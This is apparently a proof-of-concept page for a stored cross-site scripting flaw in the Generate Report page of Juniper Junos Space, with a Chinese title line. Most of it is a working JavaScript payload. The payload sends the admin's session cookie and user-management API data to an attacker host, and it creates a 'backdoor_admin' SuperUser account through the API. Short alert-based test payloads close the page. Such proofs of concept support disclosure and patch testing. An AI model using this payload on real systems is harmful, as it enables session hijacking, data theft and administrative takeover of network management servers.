CVE-2025-60000 Juniper Junos Space Generate Report页面存储型XSS漏洞

<!-- CVE-2025-60000 - Juniper Junos Space Stored XSS PoC --> <!-- Vulnerability: Stored XSS in Generate Report page --> <!-- Affected: Junos Space versions before 24.1R4 --> <!-- Step 1: Attacker submits malicious payload via Generate Report input field --> <!-- The following payload can be injected into report name/description fields --> <script> // Step 2: When admin views the report page, this script executes in their session // Exfiltrate admin session cookie (if not HttpOnly protected) var img = new Image(); img.src = "https://attacker-server.com/steal?cookie=" + document.cookie; // Alternative: Use fetch to call Junos Space API as the authenticated admin fetch('/api/space/user-management/users', { method: 'GET', credentials: 'include' }) .then(response => response.json()) .then(data => { // Exfiltrate sensitive admin data new Image().src = "https://attacker-server.com/exfil?data=" + btoa(JSON.stringify(data)); }); // Alternative: Create a backdoor admin account via API fetch('/api/space/user-management/users', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ username: 'backdoor_admin', password: 'P@ssw0rd123!', role: 'SuperUser' }) }); </script> <!-- Alternative simpler payloads for testing: --> <!-- <script>alert(document.cookie)</script> --> <!-- <img src=x onerror=alert(document.domain)> --> <!-- <svg/onload=alert(1)> -->